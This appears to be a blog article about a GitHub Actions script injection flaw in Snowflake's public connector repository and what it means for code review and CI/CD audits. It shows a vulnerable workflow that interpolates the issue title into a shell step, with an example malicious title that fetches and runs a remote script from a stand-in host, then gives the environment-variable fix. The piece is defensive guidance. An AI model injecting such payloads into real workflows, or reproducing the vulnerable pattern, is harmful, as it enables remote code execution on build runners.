Here’s the sequence of events that should reshape how you think about code review, whether or not you use GitHub Copilot: Wiz’s autonomous Red Agent found a script injection vulnerability in GitHub Actions inside Snowflake’s public snowflake-connector-net repository. The flaw let an unauthenticated attacker execute arbitrary commands on a GitHub Actions runner just by opening an issue with a specially crafted title. From there, it provided a path into Snowflake’s internal Jira environment. Disclosed via HackerOne, it was mitigated on June 23. Wiz published the writeup — and the framing — on August 17.

The part that makes this more than a routine disclosure: the vulnerable code had already been through human review and Copilot Autofix, and neither caught it. Wiz’s agent operated fully autonomously — no human in the loop — and found what a code review process augmented with AI assistance had missed.

GitHub’s response matters here too: they maintain human developers, not Copilot, authored the vulnerable change, and dispute the framing that Copilot “co-authored and missed” the flaw. That’s a fair technical distinction, and worth remembering before you draw the conclusion “AI code review doesn’t work.” But it doesn’t change the more important fact underneath the dispute: a purpose-built offensive AI agent found something that the existing defensive process — human review plus an AI code-review assistant — did not catch, in a CI/CD workflow.

Why CI/CD is the soft target, not the application code

The vulnerability wasn’t in application logic — it was in a GitHub Actions workflow trigger. That’s a pattern worth internalizing: workflow files that react to issue titles, PR descriptions, or other user-controllable text are a class of attack surface that traditional code review is bad at catching, because reviewers are trained to scrutinize application code, not YAML that interpolates untrusted strings into shell commands.

If you want to check your own exposure right now, the specific thing to grep for is untrusted input flowing into a run: step without sanitization:

# Vulnerable pattern — issue title interpolated directly into a shell command
on:
  issues:
    types: [opened]
jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Processing issue: ${{ github.event.issue.title }}"

That looks harmless. It isn’t — ${{ }} expressions get substituted before the shell ever sees the line, so a title like "; curl evil.sh | bash # becomes part of the command GitHub Actions actually executes. The fix is to pass untrusted values through environment variables instead of string interpolation:

      - env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
        run: echo "Processing issue: $ISSUE_TITLE"

This is GitHub’s own documented mitigation for script injection, and it’s the single highest-value five-minute audit you can run against your workflows this week.

The “AI-versus-AI battlefield” framing is not hype, it’s a scheduling problem

The uncomfortable implication of this story isn’t “AI found a bug,” it’s “an autonomous offensive agent operated end-to-end, from recon to exploitation to a working proof of concept, without a human directing each step.” That changes the tempo you’re competing against. A human pentest engagement runs on a schedule — weeks of lead time, a defined window, a report at the end. An autonomous agent doesn’t need a schedule. It can run continuously, against every public repo you own, indefinitely.

The practical response isn’t “hire more security engineers” — that doesn’t scale to match an always-on adversary. It’s running the same class of agent against your own surface area first, continuously, the same way this discovery ran. Wiz is explicitly selling this as their model now: “use AI to attack yourself” before someone else’s agent does it for free. If you don’t have budget for a commercial red-team agent, the minimum viable version is running an open coding-and-security model (GLM-5.3, which I wrote about separately this week, is a live example) against your CI/CD workflows on a recurring schedule, not just at PR time.

What this changes about your review checklist, concretely

Three things I’d add to a team’s process based on this incident, in priority order:

  1. Audit .github/workflows/*.yml for untrusted-input-into-shell patterns specifically. Not application code — the CI/CD layer. This is the exact category of bug that slipped past both human review and Copilot Autofix in the Snowflake case, and it’s a narrow, greppable pattern, not a fuzzy “review harder” ask.
  2. Don’t treat an AI code-review pass as a substitute for the specific control that would have caught this. Copilot Autofix is good at the class of bugs it’s tuned for. Script injection in workflow triggers is not a code-quality issue in the files it typically reviews — it’s a trust-boundary issue in the automation layer, and needs a dedicated check (there are static analyzers built specifically for this, like zizmor for GitHub Actions).
  3. If you’re evaluating AI security tooling, ask vendors whether their agent operates autonomously end-to-end or requires a human to drive each step. The speed advantage in this story came specifically from autonomy — recon through exploitation without a human bottleneck. A tool that still needs a human to click “continue” at each stage doesn’t give you the same coverage against an adversary that doesn’t.

The uncomfortable takeaway isn’t that GitHub Copilot has a gap — every tool has gaps. It’s that the class of vulnerability slipping through is shifting from “logic bugs in application code” to “trust-boundary bugs in the automation that builds and ships that code,” and most teams’ review processes still aren’t pointed at that layer.

Export for reading

Comments